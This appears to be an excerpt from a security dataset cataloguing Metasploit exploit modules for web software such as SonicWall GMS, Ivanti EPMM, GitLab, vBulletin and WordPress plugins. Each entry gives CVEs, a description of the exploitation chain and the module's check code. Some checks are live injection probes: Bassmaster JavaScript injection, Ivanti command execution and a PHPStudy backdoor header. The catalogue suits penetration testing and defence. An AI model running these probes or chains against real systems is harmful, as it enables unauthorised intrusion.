deardaniel/secdata-raw huggingface dataset:
Metasploit Module: Sonicwall
Type: exploit
Path: modules/exploits/multi/http/sonicwall_shell_injection_cve_2023_34124.rb
Platform: linux
Disclosure date: 2023-07-12
References: URL-https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/, CVE-2023-34124, CVE-2023-34133, CVE-2023-34132, CVE-2023-34127
Targets: Linux Dropper, Windows Command, Linux Command

Description:
This module exploits a series of vulnerabilities - including auth
          bypass, SQL injection, and shell injection - to obtain remote code
          execution on SonicWall GMS versions <= 9.9.9320.

Check method (fingerprinting):
vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path),
      'method' => 'GET'
    )

    # Basic sanity checks - the path should return a HTTP/200
    return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?
    return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

    # Ensure we're hitting plausible software
    return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</

    # Otherwise, probably safe?
    CheckCode::Safe('Does not appear to be running SonicWall GMS')
  end

  # Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to
  # get a password hash
Metasploit Module: Atlassian HipChat for Jira Plugin Velocity Template Injection
Type: exploit
Path: modules/exploits/multi/http/jira_hipchat_template.rb
Platform: java
Disclosure date: 2015-10-28
References: CVE-2015-5603, EDB-38551, BID-76698, URL-https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html
Targets: HipChat for Jira plugin on Java, HipChat for Jira plugin on Windows, HipChat for Jira plugin on Linux

Description:
Atlassian Hipchat is a web service for internal instant messaging. A plugin is available
          for Jira that allows team collaboration at real time. A message can be used to inject Java
          code into a Velocity template, and gain code execution as Jira. Authentication is required
          to exploit this vulnerability, and you must make sure the account you're using isn't
          protected by captcha. By default, Java payload will be used because it is cross-platform,
          but you can also specify which native payload you want (Linux or Windows).

          HipChat for Jira plugin versions between 1.3.2 and 6.30.0 are affected. Jira versions
          between 6.3.5 and 6.4.10 are also affected by default, because they were bundled with
          a vulnerable copy of HipChat.

          When using the check command, if you supply a valid username and password, the module
          will be able to trigger the bug and check more accurately. If not, it falls back to
          passive, which can only tell if the target is running on a Jira version that is bundled
          with a vulnerable copy of Hipchat by default, which is less reliable.

          This vulnerability was originally discovered internally by Atlassian.

Check method (fingerprinting):
checkcode = Exploit::CheckCode::Safe('The target is not vulnerable')

    if jira_cred_empty?
      vprint_status("No username and password supplied, so we can only do a passive check.")
      checkcode = do_passive_check
    else
      checkcode = do_explicit_check
    end

    checkcode
  end

  # Returns the Jira username set by the user
Metasploit Module: Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/bassmaster_js_injection.rb
Platform: linux
Disclosure date: 2016-11-01
References: CVE-2014-7205, URL-https://nodesecurity.io/advisories/bassmaster_js_injection

Description:
This module exploits an un-authenticated code injection vulnerability in the bassmaster
          nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
          attacker to dynamically execute JavaScript code on the server side using an eval.

          Note that the code uses a '\x2f' character so that we hit the match on the regex.

Check method (fingerprinting):
# So if we can append an encapsulated string into the body
    # we know that we can execute arbitrary JavaScript code
    rando = rand_text_alpha(8 + rand(8))
    check = "+'#{rando}'"

    # testing
    requests = [
      { :method => "get", :path => "/profile" },
      { :method => "get", :path => "/item" },
      { :method => "get", :path => "/item/$1.id#{check}" }, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = { :requests => requests }

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data' => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /#{rando}/
      return CheckCode::Vulnerable('Successfully verified JavaScript injection leading to code execution')

    # non-default app
    elsif res and res.code == 500 and res.body =~ /#{rando}/
      return CheckCode::Appears('The target appears to be vulnerable based on the response')
    end

    return CheckCode::Safe('The target is not vulnerable')
  end
Metasploit Module: WP User Registration and Membership Unauthenticated Privilege Escalation (CVE-2025-2563)
Type: exploit
Path: modules/exploits/multi/http/wp_user_registration_membership_escalation.rb
Platform: php
Disclosure date: 2025-03-24
References: CVE-2025-2563, URL-https://pentest-tools.com/vulnerabilities-exploits/user-registration-and-membership-411-unauthenticated-privilege-escalation_26968
Targets: PHP In-Memory, Unix In-Memory, Windows In-Memory

Description:
Exploits CVE-2025-2563 in the WordPress User Registration & Membership plugin.
          1) Registers a free-membership user via AJAX.
          2) Elevates that user to administrator via the membership AJAX action.
          3) Logs in, uploads & executes a PHP payload.

Check method (fingerprinting):
return CheckCode::Unknown('Target not responding') unless wordpress_and_online?

    wp_version = wordpress_version
    print_status("Detected WordPress version: #{wp_version}") if wp_version

    plugins = {
      'user-registration' => '4.1.2',
      'user-registration-pro' => '5.1.2'
    }

    plugins.each do |slug, fixed_version|
      readme = check_plugin_version_from_readme(slug, fixed_version)
      version = readme&.dig(:details, :version)

      if version
        detected = Rex::Version.new(version)
        print_good("Detected #{slug} version #{detected}")
        return CheckCode::Appears('The target is running a vulnerable version') if detected < Rex::Version.new(fixed_version)
      else
        print_warning("Unable to determine #{slug} version")
      end
    end

    print_status('No vulnerable plugin versions detected')
    CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection
Type: exploit
Path: modules/exploits/multi/http/vbulletin_getindexablecontent.rb
Platform: php
Disclosure date: 2020-03-12
References: CVE-2020-12720

Description:
This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier
          This module uses the getIndexableContent vulnerability to reset the administrators password,
          it then uses the administrators login information to achieve RCE on the target. This module
          has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, 'js', 'login.js')
    })

    return CheckCode::Unknown('No response received from the target') unless res && res.code == 200

    return CheckCode::Safe('The target appears to be patched') if res.body.to_s =~ /vBulletin 5\.6\.1 Patch Level 1/

    if res.body.to_s =~ /vBulletin ([.0-9]+)/
      if Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('5.6.1')
        return CheckCode::Safe('The target is not running a vulnerable version')
      elsif Rex::Version.new(Regexp.last_match(1)) > Rex::Version.new('5.0.0')
        return CheckCode::Appears('The target is running a vulnerable version')
      end

      return CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end

    CheckCode::Safe('The target is not running a vulnerable version')
  end

  # Performs all exploit functionality
Metasploit Module: WordPress WP Time Capsule Arbitrary File Upload to RCE
Type: exploit
Path: modules/exploits/multi/http/wp_time_capsule_file_upload_rce.rb
Platform: php
Disclosure date: 2024-11-15
References: CVE-2024-8856, URL-https://hacked.be/posts/CVE-2024-8856, URL-https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-time-capsule/backup-and-staging-by-wp-time-capsule-12221-unauthenticated-arbitrary-file-upload
Targets: PHP In-Memory, Unix/Linux Command Shell, Windows Command Shell

Description:
This module exploits an arbitrary file upload vulnerability in the WordPress WP Time Capsule plugin
          (versions <= 1.22.21). The vulnerability allows uploading a malicious PHP file to achieve remote
          code execution (RCE).

          The validation logic in the vulnerable function improperly checks for allowed extensions.
          If no valid extension is found, the check can be bypassed by using a filename of specific length
          (e.g., "00.php") matching the length of allowed extensions like ".crypt".

Check method (fingerprinting):
return CheckCode::Unknown('The WordPress site does not appear to be online.') unless wordpress_and_online?

    plugin_check = check_plugin_version_from_readme('wp-time-capsule', '1.22.22')
    case plugin_check.code
    when 'appears'
      return CheckCode::Appears('WP Time Capsule plugin appears to be vulnerable.')
    when 'safe'
      return CheckCode::Safe('WP Time Capsule plugin is patched or not vulnerable.')
    end

    CheckCode::Unknown('No vulnerable plugins were detected.')
  end
Metasploit Module: Visual Mining NetCharts Server Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/visual_mining_netcharts_upload.rb
Platform: %w{linux win}
Disclosure date: 2014-11-03
References: CVE-2014-8516, ZDI-14-372

Description:
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
          First, a lack of input validation in the administration console permits
          arbitrary jsp code upload to locations accessible later through the web
          service. Authentication is typically required, however a 'hidden' user is
          available by default (and non-editable). This user, named 'Scheduler',
          can only login to the console after any modification in the user
          database (a user is added, admin password is changed etc). If the
          'Scheduler' user isn't available valid credentials must be supplied. The
          default Admin password is Admin.

Check method (fingerprinting):
res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
      'vars_get' => { 'mode' => 'getZip' },
      'authorization' => basic_auth(username, password)
    })

    if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
      Exploit::CheckCode::Detected('The target application was detected but requires authentication')
    else
      Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: FreeNAS exec_raw.php Arbitrary Command Execution
Type: exploit
Path: modules/exploits/multi/http/freenas_exec_raw.rb
Platform: php
Disclosure date: 2010-11-06
References: CVE-2010-20059, OSVDB-94441, URL-http://sourceforge.net/projects/freenas/files/stable/0.7.2/NOTES%200.7.2.5543.txt/download

Description:
This module exploits an arbitrary command execution flaw
          in FreeNAS 0.7.2 < rev.5543. When passing a specially formatted URL
          to the exec_raw.php page, an attacker may be able to execute arbitrary
          commands.

          NOTE: This module works best with php/meterpreter payloads.
Metasploit Module: Sun Java System Web Server WebDAV OPTIONS Buffer Overflow
Type: exploit
Path: modules/exploits/multi/http/sun_jsws_dav_options.rb
Platform: win
Disclosure date: 2010-01-20
Authors: jduck
References: CVE-2010-0361, OSVDB-61851
Targets: Sun Java System Web Server 7.0 update 7 on Windows x86 (SEH), Sun Java System Web Server 7.0 update 7 on Linux x86, Sun Java System Web Server 7.0 update 7 on Windows x86

Description:
This module exploits a buffer overflow in Sun Java Web Server prior to
          version 7 Update 8. By sending an "OPTIONS" request with an overly long
          path, attackers can execute arbitrary code. In order to reach the vulnerable
          code, the attacker must also specify the path to a directory with WebDAV
          enabled.

          This exploit was tested and confirmed to work on Windows XP SP3 without DEP.
          Versions for other platforms are vulnerable as well.

          The vulnerability was originally discovered and disclosed by Evgeny Legerov of
          Intevydis.

Check method (fingerprinting):
res = send_request_raw(
      {
        'method' => 'OPTIONS',
        'proto' => 'HTTP',
        'version' => '1.0',
        'uri' => normalize_uri(datastore['PATH'])
      }, 5
    )

    info = http_fingerprint({ response: res }) # check method
    if (info =~ /Sun/)
      print_status("Found server: #{info}")
      return Exploit::CheckCode::Detected('The target application was detected but the version could not be confirmed as vulnerable')
    end
    Exploit::CheckCode::Safe('The target is not running a vulnerable version')
  end
Metasploit Module: Apache Tomcat Manager Application Deployer Authenticated Code Execution
Type: exploit
Path: modules/exploits/multi/http/tomcat_mgr_deploy.rb
Platform: %w{java linux win}
Disclosure date: 2009-11-09
References: CVE-2009-3843, OSVDB-60317, CVE-2009-4189, OSVDB-60670, CVE-2009-4188, BID-38084, CVE-2010-0557, URL-http://www-01.ibm.com/support/docview.wss?uid=swg21419179, CVE-2010-4094, ZDI-10-214
Targets: Automatic, Java Universal, Windows Universal, Linux x86

Description:
This module can be used to execute a payload on Apache Tomcat servers that
          have an exposed "manager" application. The payload is uploaded as a WAR archive
          containing a jsp application using a PUT request.

          The manager application can also be abused using /manager/html/upload, but that
          method is not implemented in this module.

          NOTE: The compatible payload sets vary based on the selected target. For
          example, you must select the Windows target to use native Windows payloads.

Check method (fingerprinting):
res = query_serverinfo
    disconnect
    return CheckCode::Unknown('Could not connect to the target') if res.nil?

    if (res.code.between?(400, 499))
      vprint_error("Server rejected the credentials")
      return CheckCode::Unknown('Server rejected the provided credentials')
    end

    store_valid_credential(user: datastore['HttpUsername'], private: datastore['HttpPassword'])

    vprint_status("Target is #{detect_platform(res.body)} #{detect_arch(res.body)}")
    return CheckCode::Appears('The target appears to be vulnerable based on the response')
  end
Metasploit Module: GitLab File Read Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/gitlab_file_read_rce.rb
Platform: ruby
Disclosure date: 2020-03-26
References: CVE-2020-10977, URL-https://hackerone.com/reports/827052, URL-https://about.gitlab.com/releases/2020/03/26/security-release-12-dot-9-dot-1-released/

Description:
This module provides remote code execution against GitLab Community
          Edition (CE) and Enterprise Edition (EE). It combines an arbitrary file
          read to extract the Rails "secret_key_base", and gains remote code
          execution with a deserialization vulnerability of a signed
          'experimentation_subject_id' cookie that GitLab uses internally for A/B
          testing.

          Note that the arbitrary file read exists in GitLab EE/CE 8.5 and later,
          and was fixed in 12.9.1, 12.8.8, and 12.7.8. However, the RCE only affects
          versions 12.4.0 and above when the vulnerable `experimentation_subject_id`
          cookie was introduced.

          Tested on GitLab 12.8.1 and 12.4.0.

Check method (fingerprinting):
validate_credentials_present!

    git_lab_client = GitLabClient.new(self)
    git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])
    version = Rex::Version.new(git_lab_client.version['version'][/(\d+.\d+.\d+)/, 1])

    # Arbitrary file reads are present from 8.5 and fixed in 12.9.1, 12.8.8, and 12.7.8
    # However, RCE is only available from 12.4 and fixed in 12.9.1, 12.8.8, and 12.7.8
    has_rce_present =
      version.between?(Rex::Version.new('12.4.0'), Rex::Version.new('12.7.7')) ||
      version.between?(Rex::Version.new('12.8.0'), Rex::Version.new('12.8.7')) ||
      version == Rex::Version.new('12.9.0')

    if has_rce_present
      return Exploit::CheckCode::Appears("GitLab #{version} is a vulnerable version.")
    end

    Exploit::CheckCode::Safe("GitLab #{version} is not a vulnerable version.")
  rescue GitLabClientException => e
    Exploit::CheckCode::Unknown(e.message)
  end
Metasploit Module: ManageEngine Multiple Products Authenticated File Upload
Type: exploit
Path: modules/exploits/multi/http/manageengine_auth_upload.rb
Platform: java
Disclosure date: 2014-12-15
References: CVE-2014-5301, OSVDB-116733, URL-https://seclists.org/fulldisclosure/2015/Jan/5

Description:
This module exploits a directory traversal vulnerability in ManageEngine ServiceDesk,
          AssetExplorer, SupportCenter and IT360 when uploading attachment files. The JSP that accepts
          the upload does not handle correctly '../' sequences, which can be abused to write
          to the file system. Authentication is needed to exploit this vulnerability, but this module
          will attempt to login using the default credentials for the administrator and guest
          accounts. Alternatively, you can provide a pre-authenticated cookie or a username / password.
          For IT360 targets, enter the RPORT of the ServiceDesk instance (usually 8400). All
          versions of ServiceDesk prior v9 build 9031 (including MSP but excluding v4), AssetExplorer,
          SupportCenter and IT360 (including MSP) are vulnerable. At the time of release of this
          module, only ServiceDesk v9 has been fixed in build 9031 and above. This module has
          been tested successfully in Windows and Linux on several versions.

Check method (fingerprinting):
version = get_version
    # TODO: put fixed version on the two ifs below once (if...) products are fixed
    # sd was fixed on build 9031
    # ae and sc still not fixed
    if (version[0] <= 9 && version[0] > 4 && version[2] < 9031 && version[3] == 'sd') ||
       (version[0] <= 6 && version[2] < 99999 && version[3] == 'ae') ||
       (version[3] == 'sc' && version[2] < 99999)
      return Exploit::CheckCode::Appears('The target appears to be a vulnerable version')
    end

    if (version[2] > 9030 && version[3] == 'sd') ||
       (version[2] > 99999 && version[3] == 'ae') ||
       (version[2] > 99999 && version[3] == 'sc')
      return Exploit::CheckCode::Safe('The target is not running a vulnerable version')
    else
      # An IT360 check always lands here, there is no way to get the version easily
      return Exploit::CheckCode::Unknown('Could not determine the vulnerability status')
    end
  end
Metasploit Module: Ivanti EPMM Authentication Bypass for Expression Language Remote Code Execution
Type: exploit
Path: modules/exploits/multi/http/ivanti_epmm_rce_cve_2025_4427_4428.rb
Platform: python
Disclosure date: 2025-05-13
References: CVE-2025-4427, CVE-2025-4428, URL-https://forums.ivanti.com/s/article/Security-Advisory-Ivanti-Endpoint-Manager-Mobile-EPMM?language=en_US, URL-https://github.com/watchtowrlabs/watchTowr-vs-Ivanti-EPMM-CVE-2025-4427-CVE-2025-4428, URL-https://blog.eclecticiq.com/china-nexus-threat-actor-actively-exploiting-ivanti-endpoint-manager-mobile-cve-2025-4428-vulnerability

Description:
This module exploits an unauthenticated remote code execution exploit chain for Ivanti EPMM,
          tracked as CVE-2025-4427 and CVE-2025-4428. An authentication flaw permits unauthenticated
          access to an administrator web API endpoint, which allows for code execution via expression
          language injection. This module executes in the context of the 'tomcat' user. This module
          should also work on many versions of MobileIron Core (rebranded as Ivanti EPMM).

Check method (fingerprinting):
# Execute 'id' to check if target is vulnerable (version check via exploitation, best known approach)
    resp = execute_command('id')
    return CheckCode::Unknown('Failed to get a response from the target') unless resp

    # The response body format will vary across versions, so check for presence of 'id' output
    if resp.body.include?('uid=') && resp.body.include?('gid=')
      return CheckCode::Vulnerable('Successfully executed command')
    else
      return CheckCode::Safe('Target does not appear to be vulnerable - command output not returned')
    end
  end
Metasploit Module: PHPStudy Backdoor Remote Code execution
Type: exploit
Path: modules/exploits/multi/http/phpstudy_backdoor_rce.rb
Platform: php
Disclosure date: 2019-09-20
References: CVE-2025-34061, URL-https://programmer.group/using-ghidra-to-analyze-the-back-door-of-phpstudy.html

Description:
This module can detect and exploit the backdoor of PHPStudy.

Check method (fingerprinting):
uri = target_uri.path
    fingerprint = Rex::Text.rand_text_alpha(8)
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(uri),
      'headers' => {
        'Accept-Encoding' => 'gzip,deflate',
        'Accept-Charset' => Rex::Text.encode_base64("echo '#{fingerprint}';")
      }
    })

    if res && res.code == 200 && res.body.to_s.include?(fingerprint)
      return Exploit::CheckCode::Appears('The target appears vulnerable based on response headers')
    else
      return Exploit::CheckCode::Safe('The target is not vulnerable')
    end
  end
Metasploit Module: osCommerce Installer Unauthenticated Code Execution
Type: exploit
Path: modules/exploits/multi/http/oscommerce_installer_unauth_code_exec.rb
Platform: php
Disclosure date: 2018-04-30
References: CVE-2018-25114, EDB-44374

Description:
If the /install/ directory was not removed, it is possible for an unauthenticated
          attacker to run the "install_4.php" script, which will create the configuration
          file for the installation. This allows the attacker to inject PHP code into the
          configuration file and execute it.

Check method (fingerprinting):
res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'install.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless res.code == 200 && res.body.include?('osCommerce Website')
      return CheckCode::Safe
    end

    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI'], 'index.php'),
      'method' => 'GET'
    })

    if res.body.include?('configure.php') && res.body.include?('The following files need to have their file permissions set to world-writeable (chmod 777):')
      vprint_error 'configure.php is not writable'
      return CheckCode::Safe
    end

    CheckCode::Appears
  end